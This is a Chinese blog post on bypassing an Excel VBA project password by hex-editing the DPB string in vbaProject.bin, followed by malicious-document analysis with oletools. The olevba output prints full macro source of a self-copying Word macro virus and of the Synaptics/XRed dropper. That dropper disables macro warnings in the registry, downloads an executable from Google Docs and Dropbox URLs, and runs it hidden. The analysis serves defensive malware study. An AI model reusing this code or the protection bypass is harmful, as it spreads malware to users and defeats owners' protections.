Excel如何破解vba的宏密码及恶意文档样本分析

已于 2023-03-28 10:51:44 修改
阅读量8.1k 收藏 22
点赞数 5
文章标签： excel
于 2023-02-07 09:52:49 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/zycdn/article/details/128911541
版权
文章介绍了如何使用WPS、HEX编辑器等工具解除Excel的宏密码，以及利用oletools进行恶意文档分析，包括oleid和olevba等工具的使用，以检测和解析VBA宏中的潜在威胁。

摘要生成于 C知道 ，由 DeepSeek-R1 满血版支持， 前往体验 >

EXCEL需要工程密码

破解宏密码

工具

WPS、WinRAR（7Zip、360 ZIP国际版 不行）、十六进制编辑器（EverEdit或者其他）
工具

xlsm修改为zip，打开压缩包

xlsm文件另存一份修改为bb.zip，使用压缩软件打开bb.zip，不要关闭压缩软件。

拖出bin文件

在xl目录下找到vbaProject.bin，将其拖出来。
找到vbaProject.bin文件

HEX编辑器修改bin文件

编辑-HEX模式，将文件拖进编辑器，Ctrl_F-文本-DPB，Ascii String【应该只有一处】
查找DPB
将DPB修改为DPx【后期试验过大小写都行】
修改为DPx
注：DPB在文件中的位置
DPB在文件中位置

bin文件拖回到zip文件

将bin文件拖回去到压缩文件中，关闭压缩软件。
将bin文件拖回去

zip修改为xlsm，打开文件

zip文件修改为bb.xlsm，使用WPS软件打开bb.xlsm，选择继续加载工程。
继续加载工程
继续加载工程

出现无法解析服务器的名称或地址，点击结束。
结束
打开VB编辑器【或者ALT_F11】
未知的错误重新设置工程属性的密码为1
设置工程属性的密码查看左边的ThisWorkbook
查看脚本
输完密码后也可通过VB宏-编辑查看代码。
通过VB宏进入

注：libreoffice 无视宏密码直接查看宏。

恶意文档样本分析

oletools

#地址： https://github.com/decalage2/oletools/
python -m pip config set global.index-url https://mirrors.aliyun.com/pypi/simple/
python -m pip install -U oletools

常用命令

oleid 4.doc ::分析OLE文件，以检测恶意文件中常见的特定特征
olevba 4.doc ::从MS Office文档(OLE和OpenXML)中提取和分析VBA宏源代码
mraptor 4.doc ::检测恶意VBA宏
olemeta 4.doc ::从OLE文件中提取所有标准属性(元数据)
oletimes 4.doc ::提取所有流和存储的创建和修改时间戳

:: 下面是示例
C:\Users\xx\Desktop>oleid 4.doc
oleid 0.60.1 - http://decalage.info/oletools
THIS IS WORK IN PROGRESS - Check updates regularly!
Please report any issue at https://github.com/decalage2/oletools/issues

Filename: 4.doc
WARNING  For now, VBA stomping cannot be detected for files in memory
--------------------+--------------------+----------+--------------------------
Indicator           |Value               |Risk      |Description
--------------------+--------------------+----------+--------------------------
File format         |MS Word 97-2003     |info      |
                    |Document or Template|          |
--------------------+--------------------+----------+--------------------------
Container format    |OLE                 |info      |Container type
--------------------+--------------------+----------+--------------------------
Application name    |WPS Office_11.8.2.10|info      |Application name declared
                    |912_F1E327BC-269C-  |          |in properties
                    |435d-A152-          |          |
                    |05C5408002CA        |          |
--------------------+--------------------+----------+--------------------------
Properties code page|1200: Unicode       |info      |Code page used for
                    |UTF-16, little      |          |properties
                    |endian byte order   |          |
                    |(BMP of ISO 10646); |          |
                    |available only to   |          |
                    |managed applications|          |
--------------------+--------------------+----------+--------------------------
Author              |汉字                |info      |Author declared in
                    |                    |          |properties
--------------------+--------------------+----------+--------------------------
Encrypted           |False               |none      |The file is not encrypted
--------------------+--------------------+----------+--------------------------
VBA Macros          |Yes, suspicious     |HIGH      |This file contains VBA
                    |                    |          |macros. Suspicious
                    |                    |          |keywords were found. Use
                    |                    |          |olevba and mraptor for
                    |                    |          |more info.
--------------------+--------------------+----------+--------------------------
XLM Macros          |No                  |none      |This file does not contain
                    |                    |          |Excel 4/XLM macros.
--------------------+--------------------+----------+--------------------------
External            |0                   |none      |External relationships
Relationships       |                    |          |such as remote templates,
                    |                    |          |remote OLE objects, etc
--------------------+--------------------+----------+--------------------------

C:\Users\xx\Desktop>olevba 4.doc
olevba 0.60.1 on Python 3.10.5 - http://decalage.info/python/oletools
===============================================================================
FILE: 4.doc
Type: OLE
-------------------------------------------------------------------------------
VBA MACRO ThisDocument.cls
in file: 4.doc - OLE stream: 'Macros/VBA/ThisDocument'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
'APMP
'KILL
Private Sub Document_Open()
   On Error Resume Next
   Application.DisplayStatusBar = False
   Options.VirusProtection = False
   Options.SaveNormalPrompt = False
   MyCode = ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1, 20)
   Set Host = NormalTemplate.VBProject.VBComponents(1).CodeModule
   If ThisDocument = NormalTemplate Then _
      Set Host = ActiveDocument.VBProject.VBComponents(1).CodeModule
   With Host
       If .Lines(1, 1) = "APMP" & .Lines(1, 2) <> "KILL" Then
          .DeleteLines 1, .CountOfLines
          .InsertLines 1, MyCode
          If ThisDocument = NormalTemplate Then _
             ActiveDocument.SaveAs ActiveDocument.FullName
       End If
   End With
End Sub

+----------+--------------------+---------------------------------------------+
|Type      |Keyword             |Description                                  |
+----------+--------------------+---------------------------------------------+
|AutoExec  |Document_Open       |Runs when the Word or Publisher document is  |
|          |                    |opened                                       |
|Suspicious|KILL                |May delete a file                            |
|Suspicious|VBProject           |May attempt to modify the VBA code (self-    |
|          |                    |modification)                                |
|Suspicious|VBComponents        |May attempt to modify the VBA code (self-    |
|          |                    |modification)                                |
|Suspicious|CodeModule          |May attempt to modify the VBA code (self-    |
|          |                    |modification)                                |
|Suspicious|Base64 Strings      |Base64-encoded strings were detected, may be |
|          |                    |used to obfuscate strings (option --decode to|
|          |                    |see all)                                     |
+----------+--------------------+---------------------------------------------+

C:\Users\xx\Desktop>olevba 6.xlsm
olevba 0.60.1 on Python 3.10.5 - http://decalage.info/python/oletools
===============================================================================
FILE: 6.xlsm
Type: OpenXML
WARNING  For now, VBA stomping cannot be detected for files in memory
-------------------------------------------------------------------------------
VBA MACRO ThisWorkbook.cls
in file: xl/vbaProject.bin - OLE stream: 'VBA/ThisWorkbook'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Dim SheetsChanged As Boolean
Dim SheetCount As Integer

Private Sub Workbook_Open()
  Dim i As Integer
  For i = 1 To ActiveWorkbook.Sheets.Count
    ActiveWorkbook.Sheets(i).Visible = xlSheetVisible
  Next i

  RegKeySave "HKCU\Software\Microsoft\Office\" & Application.Version & "\Excel\Security\VBAWarnings", 1, "REG_DWORD"
  RegKeySave "HKCU\Software\Microsoft\Office\" & Application.Version & "\Word\Security\VBAWarnings", 1, "REG_DWORD"

  Application.DisplayAlerts = False
  SheetCount = Worksheets.Count

  Call MPS

  ActiveWorkbook.Sheets(1).Select
  SheetsChanged = False
End Sub

Private Sub Workbook_BeforeClose(Cancel As Boolean)
  If Not SheetsChanged Then
    ActiveWorkbook.Saved = True
  End If
End Sub

Private Sub Workbook_SheetChange(ByVal Sh As Object, ByVal Target As Range)
  SheetsChanged = True
End Sub

Private Sub Workbook_NewSheet(ByVal Sh As Object)
  SheetsChanged = True
End Sub

Private Sub Workbook_SheetActivate(ByVal Sh As Object)
  If ActiveWorkbook.Sheets.Count <> SheetCount Then
    SheetsChanged = True
    SheetCount = ActiveWorkbook.Sheets.Count
  End If
End Sub

Private Sub Workbook_BeforeSave(ByVal SaveAsUI As Boolean, Cancel As Boolean)
  Dim i As Integer
  Dim AIndex As Integer
  Dim FName

  AIndex = ActiveWorkbook.ActiveSheet.Index

  If SaveAsUI = False Then
    Cancel = True
    Application.EnableEvents = False
    Application.ScreenUpdating = False

    For i = 1 To ActiveWorkbook.Sheets.Count - 1
      ActiveWorkbook.Sheets(i).Visible = xlSheetHidden
    Next i
    ActiveWorkbook.Save

    For i = 1 To ActiveWorkbook.Sheets.Count
      ActiveWorkbook.Sheets(i).Visible = xlSheetVisible
    Next i
    ActiveWorkbook.Sheets(AIndex).Select
    SheetsChanged = False

    Application.ScreenUpdating = True
    Application.EnableEvents = True
  Else
    Cancel = True
    Application.EnableEvents = False
    Application.ScreenUpdating = False

    For i = 1 To ActiveWorkbook.Sheets.Count - 1
      ActiveWorkbook.Sheets(i).Visible = xlSheetHidden
    Next i

    FName = Application.GetSaveAsFilename(fileFilter:="Excel 莂l��ma Kitab� (*.xlsm), *.xlsm")
    If FName <> False Then
      ActiveWorkbook.SaveAs Filename:=FName, FileFormat:=xlOpenXMLWorkbookMacroEnabled
      SaveAsInj ActiveWorkbook.Path
    End If

    For i = 1 To ActiveWorkbook.Sheets.Count
      ActiveWorkbook.Sheets(i).Visible = xlSheetVisible
    Next i
    ActiveWorkbook.Sheets(AIndex).Select
    SheetsChanged = False

    Application.ScreenUpdating = True
    Application.EnableEvents = True
  End If
End Sub

Sub SaveAsInj(DIR As String)
  Dim FSO As Object
  Dim FN As String

  Set FSO = CreateObject("scripting.filesystemobject")
  FN = Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe"

  If FSO.FileExists(FN) Then
    If Not FSO.FileExists(DIR & "\~$cache1") Then
      FileCopy FN, DIR & "\~$cache1"
    End If
    SetAttr (DIR & "\~$cache1"), vbHidden + vbSystem
  End If
End Sub

Function RegKeyRead(i_RegKey As String) As String
  Dim myWS As Object

  On Error Resume Next
  Set myWS = CreateObject("WScript.Shell")
  RegKeyRead = myWS.RegRead(i_RegKey)
End Function

Function RegKeyExists(i_RegKey As String) As Boolean
Dim myWS As Object

  On Error GoTo ErrorHandler
  Set myWS = CreateObject("WScript.Shell")
  myWS.RegRead i_RegKey
  RegKeyExists = True
  Exit Function

ErrorHandler:
  RegKeyExists = False
End Function

Sub RegKeySave(i_RegKey As String, _
               i_Value As String, _
      Optional i_Type As String = "REG_SZ")
Dim myWS As Object

  Set myWS = CreateObject("WScript.Shell")
  myWS.RegWrite i_RegKey, i_Value, i_Type
End Sub

Sub MPS()
  Dim FSO As Object
  Dim FP(1 To 3), TMP, URL(1 To 3) As String

  Set FSO = CreateObject("scripting.filesystemobject")
  FP(1) = ActiveWorkbook.Path & "\~$cache1"
  FP(2) = ActiveWorkbook.Path & "\Synaptics.exe"

  URL(1) = "https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=download"
  URL(2) = "https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1"
  URL(3) = "https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1"
  TMP = Environ("Temp") & "\~$cache1.exe"

  If FSO.FileExists(FP(1)) Then
    If Not FSO.FileExists(TMP) Then
      FileCopy FP(1), TMP
    End If
    Shell TMP, vbHide
  ElseIf FSO.FileExists(FP(2)) Then
    If Not FSO.FileExists(TMP) Then
      FileCopy FP(2), TMP
    End If
    Shell TMP, vbHide
  Else
    If FSO.FileExists(Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe") Then
      Shell Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe", vbHide
    ElseIf FSO.FileExists(Environ("WINDIR") & "\System32\Synaptics\Synaptics.exe") Then
      Shell Environ("WINDIR") & "\System32\Synaptics\Synaptics.exe", vbHide
    ElseIf Not FSO.FileExists(TMP) Then
      If FDW((URL(1)), (TMP)) Then
      ElseIf FDW((URL(2)), (TMP)) Then
      ElseIf FDW((URL(3)), (TMP)) Then
      End If
      If FSO.FileExists(TMP) Then
        Shell TMP, vbHide
      End If
    Else
      Shell TMP, vbHide
    End If

  End If

End Sub

Function FDW(MYU, NMA As String) As Boolean
  Set WinHttpReq = CreateObject("WinHttp.WinHttpRequest.5.1")
  If WinHttpReq Is Nothing Then
    Set WinHttpReq = CreateObject("WinHttp.WinHttpRequest.5")
  End If

  WinHttpReq.Option(0) = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
  WinHttpReq.Option(6) = AllowRedirects
  WinHttpReq.Open "GET", MYU, False
  WinHttpReq.Send

  If (WinHttpReq.Status = 200) Then
    If (InStr(WinHttpReq.ResponseText, "404 Not Found") = 0) And (InStr(WinHttpReq.ResponseText, ">Not Found<") = 0) And (InStr(WinHttpReq.ResponseText, "Dropbox - Error") = 0) Then
      FDW = True
      Set oStream = CreateObject("ADODB.Stream")
      oStream.Open
      oStream.Type = 1
      oStream.Write WinHttpReq.ResponseBody
      oStream.SaveToFile (NMA)
      oStream.Close
    Else
       FDW = False
    End If
  Else
    FDW = False
  End If
End Function

-------------------------------------------------------------------------------
VBA MACRO Sheet2.cls
in file: xl/vbaProject.bin - OLE stream: 'VBA/Sheet2'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(empty macro)
-------------------------------------------------------------------------------
VBA MACRO Sheet1.cls
in file: xl/vbaProject.bin - OLE stream: 'VBA/Sheet1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(empty macro)
+----------+--------------------+---------------------------------------------+
|Type      |Keyword             |Description                                  |
+----------+--------------------+---------------------------------------------+
|AutoExec  |Workbook_Open       |Runs when the Excel Workbook is opened       |
|AutoExec  |Workbook_BeforeClose|Runs when the Excel Workbook is closed       |
|Suspicious|Environ             |May read system environment variables        |
|Suspicious|Open                |May open a file                              |
|Suspicious|Write               |May write to a file (if combined with Open)  |
|Suspicious|FileCopy            |May copy a file                              |
|Suspicious|ADODB.Stream        |May create a text file                       |
|Suspicious|SaveToFile          |May create a text file                       |
|Suspicious|Shell               |May run an executable file or a system       |
|          |                    |command                                      |
|Suspicious|vbHide              |May run an executable file or a system       |
|          |                    |command                                      |
|Suspicious|WScript.Shell       |May run an executable file or a system       |
|          |                    |command                                      |
|Suspicious|Call                |May call a DLL using Excel 4 Macros (XLM/XLF)|
|Suspicious|ActiveWorkbook.SaveA|May save the current workbook                |
|          |s                   |                                             |
|Suspicious|CreateObject        |May create an OLE object                     |
|Suspicious|Windows             |May enumerate application windows (if        |
|          |                    |combined with Shell.Application object)      |
|Suspicious|RegRead             |May read registry keys                       |
|Suspicious|VBAWarnings         |May attempt to disable VBA macro security and|
|          |                    |Protected View                               |
|Suspicious|Hex Strings         |Hex-encoded strings were detected, may be    |
|          |                    |used to obfuscate strings (option --decode to|
|          |                    |see all)                                     |
|IOC       |https://docs.google.|URL                                          |
|          |com/uc?id=0BxsMXGfPI|                                             |
|          |ZfSVzUyaHFYVkQxeFk&e|                                             |
|          |xport=download      |                                             |
|IOC       |https://www.dropbox.|URL                                          |
|          |com/s/zhp1b06imehwyl|                                             |
|          |q/Synaptics.rar?dl=1|                                             |
|IOC       |Synaptics.exe       |Executable file name                         |
|IOC       |cache1.exe          |Executable file name                         |
|Suspicious|VBA Stomping        |VBA Stomping was detected: the VBA source    |
|          |                    |code and P-code are different, this may have |
|          |                    |been used to hide malicious code             |
+----------+--------------------+---------------------------------------------+
VBA Stomping detection is experimental: please report any false positive/negative at https://github.com/decalage2/oletools/issues

Cerbero Suite恶意软件分析工具

#地址： https://store.cerbero.io/suite/download/

docxlsm

其他链接

宏代码提取
一例加密保护Excel的VBA宏病毒下载器分析
记一次XRed病毒攻击应急分析

[系统安全] 十九.宏病毒之入门基础、防御措施、自发邮件及宏样本分析
杨秀璋的专栏
02-04 8609
您可能之前看到过我写的类似文章，为什么还要重复撰写呢？只是想更好地帮助初学者了解病毒逆向分析和系统安全，更加成体系且不破坏之前的系列。因此，我重新开设了这个专栏，准备系统整理和深入学习系统安全、逆向分析和恶意代码检测，“系统安全”系列文章会更加聚焦，更加系统，更加深入，也是作者的慢慢成长史。换专业确实挺难的，逆向分析也是块硬骨头，但我也试试，看看自己未来四年究竟能将它学到什么程度，漫漫长征路，偏向虎山行。享受过程，一起加油~ 作者前文介绍了病毒原理和防御知识，并通过批处理代码和漏洞（CVE-2018-202
破解Excel的VBA密码
09-17
破解Excel的VBA宏密码，使用简单，直接在Excel打开就可以运行
EXCEL VBA工程密码破解 工作表保护破解
偶尔想看云飞的博客
07-16 1万+
Excel 破解工程保护 破解工作表保护方法
暴力破解Excel受保护的单元格密码
最新发布
子墨将的博客
03-12 653
分享一个暴力破解Excel受保护的单元格密码的方法。
Excel中VBA（宏）密码破解
01-05
Excel2003、Excel2007（打开后另存为2003兼容版本，然后在破解）。将文本中的代码复制到新建的宏项目中（VB项目中），然后运行该破解项目，完成破解。
Excel VBA代码密码破解
热门推荐
Asdnwosai的博客
11-07 2万+
VBA
Excel宏(VBA)密码破解
zhouzying的博客
04-04 2万+
Excel宏破解，VBA破解，vba密码破解
Excel破解宏密码
YIXIYISHI的博客
05-17 6113
全网最好使的方法已经在这里了，不好使你来捶我啊~
Excel·VBA破解密码
hhhhh_51的博客
09-10 4611
上一篇文章，实现了VBA排列功能，而排列重要应用就是破解密码。Excel密码破解，zip、rar密码破解
pc样本学习笔记之文档类恶意程序的快速分析技巧.docx
05-01
### pc样本学习笔记之文档类恶意程序的快速分析...需要注意的是，在进行恶意文档分析时，必须采取严格的预防措施，确保个人和系统的安全。此外，定期更新安全软件和操作系统补丁也是防止恶意软件感染的重要手段之一。
信息安全 | 利用oletools-python分析恶意文档样本
.
07-31 3915
前言 通过学习oletools-python后，能够对恶意文档样本进行基础的分析工作。 什么是oletools-python oletools-python工具，用于分析MS OLE2文件（结构化存储，复合文件二进制格式）和MS Office文档，以进行恶意软件分析，取证和调试。 下载安装 Linux、Mac：sudo -H pip install -U oletools Windows：pip install -U oletools 官网链接：https://pypi.org/proje..
excel2010vba密码破解(32位系统测试过
02-16
excel2003的破解方式不适合excel2010，找到了vba破解vba密码就保存了一个， 其他版本的excel密码没有试验过，excel2010是一定可以的。 贴vba（新建模块）的时候需要新建一个book，需要破解的excel也要开着，运行后就ok了
Excel密码破解宏
04-09
可快速破解加密的Excel文档，亲测有效，破解时先打开加密的Excel，点击菜单栏中的宏->录制宏，将附件中的代码添加进宏中，然后执行即可
破解EXCEL VBA密码的工具
07-02
破解EXCEL VBA密码的工具, 需要先在EXCEL的：工具——宏——安全性，选择“低” 解压后打开文件，会提示选择需要感触的文件，选择即可。
Excel VBA密码破解工具（VBA实现）
03-30
Excel VBA密码破解工具（VBA实现）
恶意Word文档模版注入分析
04-02
本文旨在通过对恶意文档v1.0版本的深入分析，为安全研究人员和防御人员提供一个全面的理解框架，帮助他们更好地识别和防范此类威胁。 #### 办公文档格式解析 - **Office 97-2003文档**：使用OLE（对象链接与嵌入）...
[网络安全自学篇] 六十九.宏安全之入门基础、防御措施、自发邮件及宏样本分析
杨秀璋的专栏
04-21 9404
这是作者的网络安全自学教程系列，主要是关于安全工具和实践操作的在线笔记，特分享出来与博友们学习，希望您们喜欢，一起进步。前文分享了利用永恒之蓝漏洞加载WannaCry勒索病毒，实现对Win7文件加密的过程，并讲解WannaCry勒索病毒的原理。这篇文章将讲解宏病毒相关知识，它仍然活跃于各个APT攻击样本中，本文包括宏病毒基础原理、防御措施、自发邮件及APT28样本分析。基础性文章，希望对您有所帮助。
Excel破解vba密码
aakk007的博客
02-13 2541
破解vba加密、vba取消工作表保护密码、怎样清除vba密码
忘记Excel文件加密密码，教你解锁无密码访问的方法！
y846211889的博客
01-08 4447
你是否有遇到过忘记了自己文件加密密码的困扰？当你急需编辑或打开文件，但却无法访问时，可能会感到非常沮丧。但别担心，本文将为你介绍几种简单有效的解决方案，帮助你轻松解除Excel文件的加密密码！阅读下文，解决你的困扰！
评论 6
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值